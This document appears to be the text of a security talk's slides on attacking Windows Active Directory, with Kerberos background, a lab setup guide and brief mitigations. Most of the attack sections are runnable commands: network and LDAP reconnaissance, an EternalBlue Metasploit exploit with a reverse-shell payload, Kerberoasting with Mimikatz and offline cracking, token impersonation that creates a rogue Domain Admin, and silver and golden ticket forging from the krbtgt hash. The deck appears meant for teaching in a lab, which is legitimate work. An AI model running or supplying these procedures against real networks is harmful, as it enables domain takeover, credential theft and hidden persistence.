This document provides an overview of techniques for penetrating and escalating privileges within an Active Directory environment. It begins with reconnaissance of the AD infrastructure using unauthenticated methods like DNS queries and network scans. Initial access is often gained via exploiting vulnerabilities like EternalBlue to compromise systems. Further enumeration of user accounts, groups, and service principal names is used to identify high-privileged accounts. The document specifically describes Kerberoasting as a method to crack hashed passwords of service accounts, allowing access to escalated privileges without detection.
2. Background
• Santosh Gulivindala
Santosh working as Product security engineer with 4+ years of
experience in information security domain. He is interested in Mobile
security and Exploit Development.
• Agam Jain
Agam is a Security Engineer with 7+ years of experience and his areas
of interest are network security, cloud security, web application
security & email security. He has conducted couple of session in
information security
7. Active Directory 101
What is Active Directory?
A network registry of information such as users, groups, computers, servers and more,
that together deliver the various services required for IT Operations.
• Microsoft’s proprietary directory service for use in Windows domain networks
• Usually referring to a specific service in AD
• AD DS – Active Directory Domain Services
• Provides centralised and standardised management of network resources (“objects”)
• Users, Groups, Computers, Policies, etc
• Relies on different protocols/technologies to provide:
• Location lookup
• Management of objects
• Access – auth(n/z)
8. Primary Technology
• Forest - A forest is a collection of trees that share a
common global catalog, directory schema, logical
structure, and directory configuration.
• Domain - The domain is a logical structure of containers
and objects within Active Directory
• Domain Controller - A server running the Active
Directory Domain Service Role
• Domain Member -
9. Domain Controller Functions
• Schema Master – The schema master is a forest wide role that handles all the
changes to the Active Directory schema.
• Domain Naming Master – This is a forest wide role that is the master of domain
names. It handles the namespace and adding removing domain names.
• PDC Emulator – This role handles password changes, user lockouts, group policy
and is the time server for the clients.
• RID Master – This role is responsible for processing RID pool requests from all
DCs within the domain. When objects such as users and computers are created
& they get assigned a unique SID and a relative ID (RID). The RID master role
ensures objects do not get assigned the same SID and RIDs.
• Infrastructure master – This is a domain wide role used to reference objects in
other domains. If users from Domain A are members of a security group in
Domain B, the infrastructure master role is used to reference the accounts in the
correct domain.
10. Objects
• Organizational Unit(OU) - An OU is a container object that can contain
different objects from the same domain. You will use OUs to store and
organize, user accounts, contacts, computers, and groups. You will also link
group policy objects to an OU
• Users - User accounts are assigned to primarily assigned to users to gain
access to domain resources. They can also be used to run programs or system
services.
• Computer – This simply is a computer that is joined to the domain
11. LDAP
• *DAP is an open, vendor-neutral, industry standard application protocol for
accessing and maintaining distributed directory information services over an
Internet Protocol (IP) network.
• A common use of LDAP is to provide a central place to store usernames and
passwords. This allows many different applications and services to connect
to the LDAP server to validate users.
• Microsoft modified (based on RFC4511).
Reference
• https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol
• https://tools.ietf.org/html/rfc4511
12. Kerberos Overview
• Microsoft Windows Server operating system implements the Kerberos version
5 authentication protocol. Windows Server operating system also implements
extensions for public key authentication
• The Kerberos Key Distribution Center (KDC) is integrated with other Windows
Server security services running on the domain controller.
• KDC uses the domain’s Active Directory service database as its account
database. An Active Directory server is required for default Kerberos
implementations.
13. Kerberos Authentication
• Kerberos is a network authentication protocol. It is designed to provide
strong authentication for client/server applications by using secret-key
cryptography.
• The Kerberos architecture is designed around messages exchanged between
the following entities:
• Clients that use Kerberos services.
• Servers that provide services (The clients and servers are collectively
referred to as principals).
• Servers that manage the Kerberos protocol itself. These servers are often
called KDCs (Key Distribution Centers) and comprise several modular
services.
15. User logs on with username & password.
1a. Password converted to NTLM hash, a timestamp is encrypted with the hash and sent to the KDC as an
authenticator in the authentication ticket (TGT) request (AS-REQ).
1b. The Domain Controller (KDC) checks user information (logon restrictions, group membership, etc) &
creates Ticket-Granting Ticket (TGT).
2. The TGT is encrypted, signed, & delivered to the user (AS-REP). Only the Kerberos service (KRBTGT) in the
domain can open and read TGT data.
3. The User presents the TGT to the DC when requesting a Ticket Granting Service (TGS) ticket (TGS-REQ).
The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check
out, TGT = valid. The data in the TGT is effectively copied to create the TGS ticket.
4. The TGS is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-
REP).
5.The user connects to the server hosting the service on the appropriate port & presents the TGS (AP-
REQ). The service opens the TGS ticket using its NTLM password hash.
6. If mutual authentication is required by the client (think MS15-011: the Group Policy patch from
February that added UNC hardening).
Unless PAC validation is required (rare), the service accepts all data in the TGS ticket with no
communication to the DC.
16. Kerberos Authentication
• Windows authentication architecture
includes the following components:
• 1. Winlogon
• 2. Graphical Identification and
Authentication (GINA) dynamic-link library
(DLL)
• 3. Local Security Authority (LSA)
• 4. Authentication packages (NTLM and
Kerberos)
17. Interactive Logon
• A successful local logon begins when a user presses
CTRL+ALT+DEL. Winlogon and the GINA collect the user’s
credentials
• and then call the LSA to give it the user’s credentials. The
LSA verifies the user’s identity and then returns a logon
success and
• the user’s access token to Winlogon and the GINA.
Winlogon and the GINA then activate the user’s shell by
creating a new
• process, such as Explorer.exe.
18. Domain Logon
• Domain logons give user’s access
to resources throughout the
domain. Domain user accounts
are stored in an Active Directory
• domain. Active Directory is
deployed on each domain
controller and domain user
accounts are replicated
throughout a domain.
19. Background:
• The Kerberos Network Authentication Service version 5, defined in RFC
1510, provides a means of verifying the identities of principals on an
open, potentially insecure network.
Security:
• Kerberos authentication provides a mechanism for mutual authentication
between a client and a server on an open network—a network in which
packets transmitted along the network could be monitored and modified
at will. In order to provide secure authentication, Kerberos authentication
uses symmetric keys, encrypted objects, and Kerberos services.
Kerberos Tickets
• The main component of Kerberos authentication is the ticket. The
Kerberos messages are used to request and deliver tickets. There are two
types of tickets used in Kerberos authentication, TGTs and service tickets.
20. Ticket Granting Ticket (TGT)
1. AS-REQ : Authentication request sent to domain controller (KDC) with username and user's
password hash (NTLM and AES)
2. AS-REP : The KDC (DC) verifies authentication data and responds with TGT
• Service Tickets (TGS)
1. TGS-REQ : Client sends TGT to DC requesting TGS for a specific service
2. DC validates TGT
3. DC looks up Service Principal Name for requested service and identifies the associated Service
Account
4. The DC creates a TGS ticket, a part of which is encrypted with Service Account password hash
5. TGS-REP : DC sends the TGS to client
21. Keys
User Key
• When a user is created, the password is used to create the user key. In
Active Directory domains, the user key is stored with the user's object in
the Active Directory. At the workstation, the user key is created when the
user logs on.
System key
• When a workstation or a server joins a Windows domain, it receives a
password. In the same manner as a user account, the system account's
password is used to create the system key.
Service key
• Services use a key based on the account password they use to log on.
• All KDCs in the same realm use the same service key. This key is based on
the password assigned to the krbtgt account. Every Active Directory
domain will have this built-in account.
25. Example:
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain=‘domain.local'" --dns-servers 192.168.1.10
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-20 10:23 IST
Pre-scan script results:
| dns-srv-enum:
| Active Directory Global Catalog
| service prio weight host
| 3268/tcp 0 100 DC.domain.local
| Kerberos KDC Service
| service prio weight host
| 88/tcp 0 100 DC.domain.local
| 88/udp 0 100 DC. domain.local
| Kerberos Password Change Service
| service prio weight host
| 464/tcp 0 100 DC. domain.local
| 464/udp 0 100 DC. domain.local
| LDAP
| service prio weight host
|_ 389/tcp 0 100 DC. domain.local
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.32 seconds
26. Ldapsearch
ldapsearch -LLL -x -H ldap://192.168.1.10 -b '' -s base '(objectclass=*)'
L: Search results are display in LDAP Data Interchange Format detailed in ldif(5). A single -L
restricts the output to LDIFv1. A second -L disables comments. A third -L disables printing
of the LDIF version. The default is to use an extended version of LDIF.
-x: Use simple authentication instead of SASL.
-H: ldapuri
-b: searchbase
-s: {base|one|sub|children}
Sample Output:
isSynchronized: TRUE
isGlobalCatalogReady: TRUE
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
31. Network Discovery
$nmap –A –Pn –n –vvv 192.168.1.0/24
Use crackmapexec tool to sweep the network for SMB service scan
After this, we have identified the systems that are part of the domain
Domain Controller
$sudo nmap –sS –sV –A –p 88,389,445,138 –open 192.168.1.0/24 –vvv
• msf > use auxiliary/scanner/smb/smb_lookupsid
• msf auxiliary(scanner/smb/smb_lookupsid) > set rhosts 192.168.1.227/32
• msf auxiliary(scanner/smb/smb_lookupsid) > run
32. Enumeration
Enumerate for SMB:
nmap --script smb-vuln-ms17-010 -v 10.10.0.100
Search module which can exploit target eternalblue or eternalromance
msfconsole
search eternalromance, use exploit/windows/smb/ms17_010_psexec
Set payload windows/x64/meterpreter/reverse_tcp
Set lhost
Set lport
33. SMB Exploit
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show targets
msf exploit(ms17_010_eternalblue) > set TARGET < target-id >
msf exploit(ms17_010_eternalblue) > show options
msf exploit(ms17_010_eternalblue) > set rhosts ip
msf exploit(ms17_010_eternalblue) >set lhost attacker ip
msf exploit(ms17_010_eternalblue) >set lport 4321
msf exploit(ms17_010_eternalblue) > exploit
Run sysinfo after initial shell, getuid
36. Service Principal name Enumeration
Setspn –T DOMAINNAME –F –Q */*
Using the Active Directory powershell module, we can use the Get-ADUser cmdlet:
get-aduser -filter {AdminCount -eq 1} -prop * | select
name,created,passwordlastset,lastlogondate
Get-NetUser -AdminCount | Select name,whencreated,pwdlastset,lastlogon ( From
Powersploit)
37. PS Script to find SPN
• #Build LDAP Filter to look for users with service account naming conventions
$ldapFilter = "(&(objectclass=Person)(cn=*svc*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
• #Adds list of properties to search for
$objProperties = "name"
Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)}
• #Execute Search
$results = $search.FindAll()
#Display values from the returned objects
foreach ($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-Host "User Name = " $userEntry.name
Write-Host ""
}
38. Privilege Escalation
Kerberoasting : Overview
• Kerberoasting takes advantage of how service accounts leverage Kerberos authentication
with Service Principal Names (SPNs). we focused on discovering service accounts by scanning
for user objects’ SPN values. Kerberoasting allows us to crack passwords for those accounts.
By logging into an Active Directory domain as any authenticated user, we were able to
request service tickets (TGS) for service accounts by specifying their SPN value. Active
Directory will return an encrypted ticket, which is encrypted using the NTLM hash of the
account that is associated with that SPN. You can then brute force these service tickets until
successfully cracked, with no risk of detection or account lockouts. Once cracked, you have
the service account password in plain text.
• Even if you don’t fully understand the inner-workings of Kerberos, the attack can be
summarized as:
• Scan Active Directory for user accounts with SPN values set.
• Request service tickets from AD using SPN values
• Extract service tickets to memory and save to a file
• Brute force attack those passwords offline until cracked
39. Kerberoasting: How it works
1. Obtain a list of SPN Values for user accounts
• We focus on user accounts because they have shorter, less secure passwords. Computer accounts
have long, complex, random passwords that change frequently. There are many ways to get this
information, including:
• PowerShell and LDAP queriesActive Directory Module for PowerShell
• GetUserSPNs script provided by Kerberoast toolkit
• Get-NetUser command of PowerSploit
2. Request Service Tickets for service account SPN's
• Mimikatz allows you to extract local tickets and save them to disk. We need to do this so we can
pass them into our password cracking script. To do this, you must install Mimikatz and issue a single
command.
• Add-Type –AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList
‘MSSQLSvc/domain-sql02.domain.local:1433’
40. 3. Extract Service Tickets Using Mimikatz
Mimikatz# kerberos::list /export
4. Crack the tickets
Using Kerberoast toolkit crack the hash
https://github.com/nidem/kerberoast
Python .tgsrepcrack.py .wordlist.txt <SPN ID>
Or tgsrepcrack.py wordlist.txt *.kirbi
Import-Module DSInternals
$pwd = ConvertTo-SecureString <password> -AsPlainText –Force
ConvertTo-NTHash $pwd
41. Privilege Escalation with Token Impersonation
Meterpreter>load extapi
>adsi_domain_query domain “(memberOf=CN=Domain
Admins,CN=users,DC=domain,DC=local)” name distinguishedname
Credential from Memory
>use mimikatz
>wdigest
>list_tokens –u
>impersonate_token domaintom
>shell
C:net user attack02 p@ssw0rd!! /add /domain
C:net group “Domain Admins attack02 /add /domain
Verify this user
Meterpreter>adsi_domain_query domain “(memberOf=CN=Domain
Admins,CN=users,DC=domain,DC=local)” name distinguishedname
43. Why it works
Kerberos used shared secrets for authentication
In a windows domain there is only one NTLM hash
The password hash is used to encrypt everything in MS
Kerberos
46. Silver Ticket Attack:
Silver Tickets enable an attacker to create forged service tickets (TGS tickets) that are used to
access compromised service accounts. The Kerberos Silver Ticket is a valid Ticket Granting
Service (TGS) Kerberos ticket that has been encrypted/signed by the service account configured
with a Service Principal Name (SPN).
How a Silver Ticket Attack Works
The following is a summary of how the attack works:
• Extract NTLM password hash for either a service account running a service on a computer or
the computer account itself (e.g. via Kerberoasting or by obtain local administrator accounts
on a host)
• Using the Mimikatz command “kerberos::golden”, pass the Domain SID, Target host name,
Service name, Username and Group information to create the Silver Ticket
• Inject the fake ticket into memory and remotely access the target service
Important Notes about Silver Ticket Attacks:
• The attacker does not need to authenticate the account to the domain controller to obtain the
forged TGS.
• The forged TGS ticket can be created on behalf of any user account
• The Privileged Attribute Certificate (PAC) within the TGS ticket can also be manipulated,
elevating the account’s access to that of a Domain Administrator
49. >sqlcmd –S domain-sql102.domain.local #pass the hostname of
machine running SQL
Sqlcmd.exe initiates connection as my silver ticket spoofed user with
domain admin rights
50. Persistence – Compromising the KRBTGT Service Account
Golden tickets enable forging Ticket Granting tickets (TGTs)
Can create valid tickets as any user, with any set of
privileges
Virtually undetectable and very difficult to prevent even
after detection
The KRBTGT account is the Kerberos service account used to
encrypt/decrypt tickets
If compromised, forget tickets can be created and encrypted
with the KRBTGT account making them perfectly valid
52. Obtain KRBTGT password Hash
• Must have logon rights to domain controller
• Mimikatz command:
lsadump::lsa /inject /name:krbtgt
Lsadump::dcsync /domain:domain/local /user:krbtgt #copy krbtgt hash
Golden tickets with mimikatz
Kerberos::golden /domain:domain.local /sid:S-1-5-21-2490182989-
4136226752-3308112936 /rc4:krbtgthash /user:fakeus /id:500 /ptt
Misc::cmd
C:pushd dc01c$ or Psexec.exe dc01C$
53.
54. Mitigations, Detections, and Preventions for Silver Ticket Attack
• Detecting Silver Tickets can be very difficult since this bypasses the entire TGT
portion of authentication and cannot be monitored by looking at Domain
Controller logs. The best way to prevent these attacks is to enforce proper
security over service accounts to avoid having these accounts compromised
to begin with. Monitoring for logon anomalies using local logon events, such
as the one shown above, can also be effective in protecting your organization.
Additional mitigation steps:
• Limit credential overlap across systems to prevent the damage of credential
compromise
• Ensure that local administrator accounts have complex, unique passwords
• Do not allow a user to be a local administrator for multiple systems
• Limit domain admin account permissions to domain controllers and limited
servers
• Delegate other admin functions to separate accounts
57. Generic Info
• Domain Users SID: S-1-5-21-513
• Domain Admins SID: S-1-5-21-512
• Schema Admins SID: S-1-5-21-518
• Enterprise Admins SID: S-1-5-21-519 (this is only effective when the
forged ticket is created in the Forest root domain, though add
• using /sids parameter for AD forest admin rights)
• Group Policy Creator Owners SID: S-1-5-21-520
58. Lab Setup References
• Building an Effective Active Directory Lab Environment for Testing
(https://adsecurity.org/?p=2653)
• Setting up an Active Directory Lab (https://www.psattack.com/articles/20160718/setting-up-an-
active-directory-lab-part-1/)
• Detection Lab (https://github.com/clong/DetectionLab)
• AutomatedLab (https://github.com/AutomatedLab/AutomatedLab)
• Invoke-ADLabDeployer (https://github.com/outflanknl/Invoke-ADLabDeployer)
• Creating Real Looking User Accounts in AD Lab
(https://www.darkoperator.com/blog/2016/7/30/creating-real-looking-useraccounts-
• in-ad-lab)
• Create Lab User Accounts 2.0 (https://gallery.technet.microsoft.com/Create-Lab-User-Accounts-
844f7ba1)
59. Reference
• https://adsecurity.org/
• https://activedirectorypro.com/glossary/
• Best Practices for Securing Active Directory
(https://docs.microsoft.com/en-us/windows-server/identity/ad-
ds/plan/security-bestpractices/best-practices-for-securing-active-
directory)
• Managed Service Accounts
(https://blogs.technet.microsoft.com/askds/2009/09/10/managed-
service-accounts-understandingimplementing-best-practices-and-
troubleshooting/)
• Group Managed Service Accounts (https://docs.microsoft.com/en-
us/previous-versions/windows/it-pro/windows-server-2012-R2-and-
2012/hh831782(v=ws.11))
60. Lab Setup
• Windows Server 2012 R2 – 2 4GB each with 40 GB hardisk
• Windows 10 Pro Evaluation – 1 4 GB with 20 GB
• Kali 4GB with 20 GB
61. • Install Windows Server, now promote this server as domain controller
Prerequisite:
Server must have static IP, also you need to decide on IP networking which
subnets to choose etc.
From Server Roles- Install AD DS and once installation is complete. At top of
server there is an option to promote to DC
• Install second Server and then add this machine to domain
• Add some users & service account in DC and add some users as Domain
Admins, backup operators, account operators from dsa.msc
• Now login to SQL with one of low privilege user and install SQL server.
Use service account as authentication account during SQL installation
Also add this SQL service account as domain admins
Follow similar step to join windows 10 machine to DC